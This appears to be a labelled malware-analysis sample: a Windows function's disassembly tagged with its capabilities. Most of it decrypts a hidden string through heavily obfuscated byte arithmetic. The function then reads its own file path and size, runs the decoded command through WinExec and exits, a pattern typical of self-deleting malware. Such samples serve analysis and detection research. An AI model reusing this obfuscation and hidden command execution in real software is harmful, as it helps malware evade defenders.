Function at 0x448500
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
mov esi, esp
cmp dword [0x476678], 0
jne 0x44925a
jmp 0x44851d
mov al, byte [0x4756e0]
xor al, 0xe5
mov byte [str.I_U], al
mov al, byte [0x4756e1]
xor al, 0x37
mov byte [0x475751], al
mov al, byte [0x4756e2]
xor al, 0xe8
mov byte [0x475752], al
mov al, byte [0x4756e3]
xor al, 0x2c
mov byte [0x475753], al
mov al, byte [0x4756e4]
xor al, 0x16
mov byte [0x475754], al
mov ch, byte [0x4756e5]
mov cl, ch
and cl, 0x5d
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
xor edx, edx
sub dl, ch
add dl, 0xa3
xor ecx, ecx
sub cl, dl
mov dl, cl
xor dl, 0xff
and dl, al
xor al, 0xff
and cl, al
sub cl, dl
mov byte [str.uexH_br], cl
mov al, byte [0x4756e6]
mov cl, al
xor cl, 0xff
and cl, 0xec
and al, 0x13
or cl, al
mov byte [0x475756], cl
mov al, byte [0x4756e7]
mov cl, al
xor cl, 3
xor cl, 0xff
and cl, 3
shl cl, 1
sub cl, 3
sub al, cl
mov byte [0x475757], al
mov al, byte [0x4756e8]
xor al, 0xee
mov byte [0x475758], al
mov al, byte [0x4756e9]
xor al, 0xa2
mov byte [0x475759], al
mov cl, byte [0x4756ea]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x50
and cl, 0x50
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47575a], al
mov al, byte [0x4756eb]
mov cl, al
xor cl, 0xff
and cl, 0xb4
and al, 0x4b
or cl, al
mov byte [0x47575b], cl
mov al, byte [0x4756ec]
xor al, 0x18
mov byte [0x47575c], al
mov al, byte [0x4756ed]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xb8
and cl, 0xb8
and al, 0x47
or cl, al
xor cl, 0x39
mov byte [0x47575d], cl
mov al, byte [0x4756ee]
xor al, 0x38
mov byte [0x47575e], al
mov al, byte [0x4756ef]
xor al, 0xb9
mov byte [str.leR], al
mov al, byte [0x4756f0]
xor al, 0xab
mov byte [0x475760], al
mov al, byte [0x4756f1]
xor al, 0x27
mov byte [0x475761], al
mov al, byte [0x4756f2]
mov cl, al
xor cl, 0xff
and cl, 0xb
and al, 0xf4
or cl, al
mov byte [0x475762], cl
mov cl, byte [0x4756f3]
mov al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov dl, al
xor dl, 0x2e
xor dl, 0xff
or al, 0x2e
and al, dl
and cl, 0xd1
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0x16
mov byte [0x475763], dl
mov al, byte [0x4756f4]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0x1f
xor cl, 0xff
xor al, 0xff
and al, 0x1f
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x475764], cl
mov al, byte [0x4756f5]
xor al, 0x7b
mov byte [0x475765], al
mov al, byte [0x4756f6]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x67
xor cl, 0xff
and al, 0x98
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475766], cl
mov al, byte [0x4756f7]
mov cl, al
xor cl, 0xff
and cl, 0x73
and al, 0x8c
or cl, al
mov byte [0x475767], cl
mov al, byte [0x4756f8]
xor al, 0xba
mov byte [0x475768], al
mov al, byte [0x4756f9]
xor al, 0xc3
mov byte [0x475769], al
mov al, byte [0x4756fa]
xor al, 0x7e
mov byte [0x47576a], al
mov cl, byte [0x4756fb]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0x18
and cl, 0xe7
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
or dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
and al, 0x3a
and dl, 0xc5
or al, dl
mov byte [0x47576b], al
mov al, byte [0x4756fc]
xor al, 0x13
mov byte [0x47576c], al
mov al, byte [0x4756fd]
mov cl, al
and cl, 0xf9
shl cl, 1
add al, 0xf9
sub al, cl
mov byte [0x47576d], al
mov al, byte [0x4756fe]
mov cl, al
xor cl, 0x59
xor cl, 0xff
and cl, 0x59
shl cl, 1
sub cl, 0x59
sub al, cl
mov byte [0x47576e], al
mov al, byte [0x4756ff]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
and cl, ch
or dl, ah
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0x89
add cl, dl
xor cl, 0xff
xor al, 0xff
or al, 0x89
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47576f], cl
mov al, byte [0x475700]
mov cl, al
xor cl, 0xff
and cl, 0xbd
and al, 0x42
or cl, al
xor cl, 0xf9
mov byte [0x475770], cl
mov dl, byte [0x475701]
mov cl, dl
or cl, cl
xor cl, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xdf
xor al, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, ah
and cl, 0x9a
and dl, 0x65
or cl, dl
xor cl, 0x45
or ah, 0x20
xor ah, 0xff
and ah, 0xff
or cl, ah
xor cl, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x99
and cl, 0x66
or dl, cl
xor dl, 0x66
and al, dl
mov byte [0x475771], al
mov al, byte [0x475702]
xor al, 0xc5
mov byte [0x475772], al
mov al, byte [0x475703]
xor al, 8
mov byte [0x475773], al
mov al, byte [0x475704]
xor al, 0x98
mov byte [0x475774], al
mov al, byte [0x475705]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xbd
or al, 0xbd
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x475775], cl
mov ch, byte [0x475706]
mov cl, ch
and cl, 0xc2
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0xc2
sub ch, al
mov byte [0x475776], ch
mov al, byte [0x475707]
mov cl, al
xor cl, 0xff
or cl, 0x2e
xor cl, 0xff
and cl, 0xff
shl cl, 1
add al, 0xd1
sub al, cl
mov byte [0x475777], al
mov al, byte [0x475708]
mov cl, al
xor cl, 0xff
and cl, 0xfb
and al, 4
or cl, al
mov byte [0x475778], cl
mov al, byte [0x475709]
mov cl, al
xor cl, 0xff
and cl, 0x3f
and al, 0xc0
or cl, al
xor cl, 0xfb
mov byte [0x475779], cl
mov al, byte [0x47570a]
xor al, 0x60
mov byte [0x47577a], al
mov al, byte [0x47570b]
xor al, 0x24
mov byte [0x47577b], al
mov al, byte [0x47570c]
mov cl, al
xor cl, 0xff
and cl, 0x6f
and al, 0x90
or cl, al
xor cl, 0xb8
mov byte [0x47577c], cl
mov ch, byte [0x47570d]
mov al, ch
and al, 0x4d
shl al, 1
mov cl, ch
add cl, 0x4d
sub cl, al
xor cl, 0xff
and cl, 0x4d
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0x4d
sub ch, al
mov byte [0x47577d], ch
mov al, byte [0x47570e]
mov cl, al
and cl, 0x17
shl cl, 1
add al, 0x17
sub al, cl
mov byte [0x47577e], al
mov al, byte [0x47570f]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0x5d
and cl, dl
or al, 0xa2
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, al
xor ah, 0xff
and dl, ah
or cl, al
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov byte [0x47577f], dl
mov cl, byte [0x475710]
mov al, cl
or al, al
xor al, 0xff
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0xb4
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
mov dl, cl
xor dl, 0xb4
and dl, cl
xor al, 0xff
xor dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
mov byte [0x475780], al
mov al, byte [0x475711]
mov cl, al
and cl, 0xfb
shl cl, 1
add al, 0xfb
sub al, cl
mov byte [0x475781], al
mov al, byte [0x475712]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov dl, cl
and dl, 0x2e
xor dl, 0xff
add cl, 0x2e
add cl, 1
add cl, dl
mov dl, al
xor dl, 0x2e
xor dl, 0xff
or al, 0x2e
and al, dl
xor al, 0xff
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
or cl, al
mov byte [0x475782], cl
mov al, byte [0x475713]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x6b
xor cl, 0xff
mov dl, al
or dl, 0x94
xor dl, 0xff
or cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0x94
shl cl, 1
sub cl, 0x94
sub al, 0x30
sub al, cl
add al, 0x30
mov byte [0x475783], al
mov al, byte [0x475714]
xor al, 0xf9
mov byte [0x475784], al
mov cl, byte [0x475715]
mov al, cl
xor al, 0xff
mov dl, cl
and dl, al
mov ah, cl
xor ah, ah
mov al, cl
add al, ah
sub al, dl
xor al, 0xff
or al, 0x6f
xor al, 0xff
or cl, 0x90
xor cl, 0xff
or al, cl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov byte [0x475785], al
mov al, byte [0x475716]
mov cl, al
xor cl, 0x7c
xor cl, 0xff
and cl, 0x7c
shl cl, 1
mov dl, cl
xor dl, 0x7c
and cl, 0x83
shl cl, 1
sub cl, dl
sub al, cl
mov byte [0x475786], al
mov al, byte [0x475717]
xor al, 0xb3
mov byte [0x475787], al
mov al, byte [0x475718]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xc9
and al, 0x36
or dl, al
mov byte [0x475788], dl
mov al, byte [0x475719]
xor al, 0xd0
mov byte [0x475789], al
mov al, byte [0x47571a]
xor al, 0x94
mov byte [0x47578a], al
mov al, byte [0x47571b]
mov cl, al
xor cl, 0x27
xor cl, 0xff
and cl, 0x27
shl cl, 1
sub cl, 0x27
sub al, cl
mov byte [0x47578b], al
mov cl, byte [0x47571c]
mov al, cl
xor al, 0xff
and al, 0x71
mov dl, cl
and dl, 0x8e
or al, dl
xor al, 0x8e
xor al, 0xff
xor al, 0xb3
and al, 0xb3
and cl, 0x4c
or al, cl
xor al, 0x45
mov byte [0x47578c], al
mov al, byte [0x47571d]
xor al, 0x9d
mov byte [0x47578d], al
mov cl, byte [0x47571e]
mov al, cl
xor al, 0xff
mov dl, cl
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and al, al
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and al, ah
xor al, 0xff
and al, 0xac
xor al, 0xff
and cl, 0x53
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47578e], al
mov al, byte [0x47571f]
xor al, 0xb8
mov byte [0x47578f], al
mov al, byte [0x475720]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0x95
xor cl, 0xff
and al, 0x6a
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475790], cl
mov al, byte [0x475721]
mov cl, al
xor cl, 0xff
and cl, 0xf6
and al, 9
or cl, al
mov byte [0x475791], cl
mov al, byte [0x475722]
xor al, 0xba
mov byte [0x475792], al
mov al, byte [0x475723]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xcd
xor cl, 0xff
or al, 0x32
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x475793], cl
mov al, byte [0x475724]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
mov dl, al
xor dl, 0xff
and cl, dl
or cl, cl
xor cl, 0xff
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
mov dl, cl
and dl, 0xa
xor dl, 0xff
xor cl, 0xff
or cl, 0xf5
xor dl, 0xff
xor cl, 0xff
or dl, cl
or al, 0xa
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
or dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov byte [0x475794], dl
mov cl, byte [0x475725]
mov al, cl
xor al, 0xff
mov dl, al
xor dl, 0xa3
xor dl, 0xff
or al, 0xa3
and al, dl
and cl, 0x5c
and al, al
xor al, 0xff
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0
mov byte [0x475795], al
mov al, byte [0x475726]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0x66
xor cl, 0xff
xor al, 0xff
or al, 0x66
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x475796], cl
mov al, byte [0x475727]
xor al, 8
mov byte [0x475797], al
mov cl, byte [0x475728]
mov dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov al, cl
xor al, 0xff
and dl, al
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
and al, 0xf8
xor al, 0xff
xor al, 0xff
xor cl, 0xff
and cl, 7
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov cl, al
xor cl, 0xff
and cl, 0x61
and al, 0x9e
or cl, al
xor cl, 0x9e
mov byte [str.tz_Al], cl
mov cl, byte [0x475729]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x20
xor cl, 0xff
and cl, 0xdf
or al, cl
xor al, 0xff
mov byte [0x475799], al
mov al, byte [0x47572a]
xor al, 0xf9
mov byte [0x47579a], al
mov al, byte [0x47572b]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x11
xor cl, 0xff
and al, 0xee
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47579b], cl
mov ch, byte [0x47572c]
mov cl, ch
and cl, 0x59
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0xb0
add ch, 0x59
add ch, 0xb0
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x47579c], ch
mov al, byte [0x47572d]
xor al, 0xb6
mov byte [0x47579d], al
mov al, byte [0x47572e]
mov cl, al
xor cl, 0xff
and cl, 0xb3
and al, 0x4c
or cl, al
xor cl, 0x7d
mov byte [0x47579e], cl
mov al, byte [0x47572f]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0x71
and cl, dl
or al, 0x8e
xor al, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor al, 0xff
and cl, al
mov byte [0x47579f], cl
mov al, byte [0x475730]
mov cl, al
xor cl, 0xc4
xor cl, 0xff
or cl, 0x3b
add cl, 0xc5
shl cl, 1
mov dl, cl
xor dl, 0xff
and dl, 0xc4
and cl, 0x3b
sub cl, dl
sub al, cl
mov byte [0x4757a0], al
mov al, byte [0x475731]
xor al, 0x4c
mov byte [0x4757a1], al
mov al, byte [0x475732]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0xb6
mov dl, al
xor dl, 0x49
xor dl, 0xff
or al, 0x49
and al, dl
or cl, al
mov byte [0x4757a2], cl
mov al, byte [0x475733]
mov cl, al
xor cl, 0xff
and cl, 0x12
and al, 0xed
or cl, al
mov byte [0x4757a3], cl
mov cl, byte [0x475734]
mov dl, cl
and dl, dl
mov al, dl
xor al, 0xff
and al, 0x13
and dl, 0xec
or al, dl
xor al, 0xec
xor al, 0xff
or al, 0x65
xor al, 0xff
and al, 0xff
xor al, 0xff
and cl, 0x65
mov dl, cl
xor dl, 0xff
and dl, 0xb3
and cl, 0x4c
or dl, cl
xor dl, 0x4c
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x4757a4], cl
mov al, byte [0x475735]
mov dl, al
xor dl, 0xff
mov cl, dl
and cl, 0x98
xor cl, 0xff
and dl, 0x98
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov dl, al
xor dl, 0x67
xor dl, 0xff
or al, 0x67
and al, dl
or cl, al
xor cl, 0x9c
mov byte [0x4757a5], cl
mov al, byte [0x475736]
mov cl, al
xor cl, 0xff
and cl, 0x6d
and al, 0x92
or cl, al
mov byte [0x4757a6], cl
mov al, byte [0x475737]
mov cl, al
xor cl, 0xff
and cl, 0x36
and al, 0xc9
or cl, al
xor cl, 0xd1
mov byte [0x4757a7], cl
mov al, byte [0x475738]
xor al, 0x24
mov byte [0x4757a8], al
mov al, byte [0x475739]
xor al, 0x6b
mov byte [0x4757a9], al
mov al, byte [0x47573a]
xor al, 0xc0
mov byte [0x4757aa], al
mov al, byte [0x47573b]
mov cl, al
xor cl, 0x50
xor cl, 0xff
and cl, 0x50
shl cl, 1
sub cl, 0x50
sub al, cl
mov byte [0x4757ab], al
mov al, byte [0x47573c]
mov cl, al
xor cl, 0xff
and cl, 0x9b
mov dl, al
and dl, 0x64
or cl, dl
xor cl, 0x64
mov dl, al
xor dl, 0xff
and dl, 0xe2
mov ah, al
and ah, 0x1d
or dl, ah
xor dl, 0x1d
and cl, dl
mov dl, cl
and dl, 0x1f
xor dl, 0xff
add cl, 0x1f
add cl, 1
add cl, dl
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and al, 0x1f
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4757ac], dl
mov al, byte [0x47573d]
mov cl, al
xor cl, 0xff
and cl, 0xf4
and al, 0xb
or cl, al
mov byte [0x4757ad], cl
mov al, byte [0x47573e]
xor al, 0x71
mov byte [0x4757ae], al
mov al, byte [0x47573f]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0x48
and ah, dl
mov cl, ah
xor cl, 0xff
xor ah, 0xff
and cl, ah
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0xb7
and cl, al
xor cl, 0xff
mov byte [0x4757af], cl
mov al, byte [0x475740]
mov cl, al
xor cl, 0xff
and cl, 0x72
and al, 0x8d
or cl, al
xor cl, 0x57
mov byte [0x4757b0], cl
mov ch, byte [0x475741]
mov cl, ch
xor cl, 0xef
xor cl, 0xff
and cl, 0xef
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xef
sub ch, al
mov byte [0x4757b1], ch
mov cl, byte [0x475742]
mov al, cl
xor al, 0xff
mov dl, cl
and dl, 0xff
shl dl, 1
mov ah, cl
add ah, 0xff
sub ah, dl
and al, ah
xor al, 0xff
and al, 0x92
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x92
xor cl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
mov byte [0x4757b2], al
mov al, byte [0x475743]
mov cl, al
and cl, 0x67
shl cl, 1
add al, 0x67
sub al, cl
mov byte [0x4757b3], al
mov al, byte [0x475744]
mov cl, al
xor cl, 0xff
and cl, 0x80
and al, 0x7f
or cl, al
mov byte [0x4757b4], cl
mov al, byte [0x475745]
xor al, 2
mov byte [0x4757b5], al
mov cl, byte [0x475746]
mov al, cl
xor al, 0xff
and al, 0x32
and cl, 0xcd
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
xor al, 1
mov byte [0x4757b6], al
mov al, byte [0x475747]
xor al, 0xd6
mov byte [0x4757b7], al
jmp 0x44925a
mov dword [0x476678], 1
push eax
sub esp, 0x7fc
mov dword [esi + 0x14], esp
sub esp, 0x200
mov dword [esi], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 8], esp
sub esp, 8
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x10], esp
sub esp, 0x68
mov dword [esi + 0xc], esp
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 0xc
mov ebx, dword [esi]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0x1c
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x80000000
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
mov ebx, dword [esi + 8]
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esi + 4], edi
mov dword [esp + 4], edi
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call eax
mov eax, dword [edi]
add eax, 0xffffffff
adc dword [edi + 4], 0xffffffff
mov dword [edi], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
lea eax, str.I_U
sub esp, 0xc
mov edi, dword [esi + 0xc]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x68
call fcn.0044fc30
add esp, 0xc
mov eax, dword [esi + 4]
mov eax, dword [eax]
sub esp, 0x18
mov ebx, dword [esi + 0x14]
mov dword [esp], ebx
mov dword [esp + 4], 0x800
mov dword [esp + 8], edi
mov dword [esp + 0xc], eax
mov eax, dword [esi]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call fcn.004493c0
add esp, 0x18
xor eax, eax
sub esp, 8
mov dword [esp], ebx
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]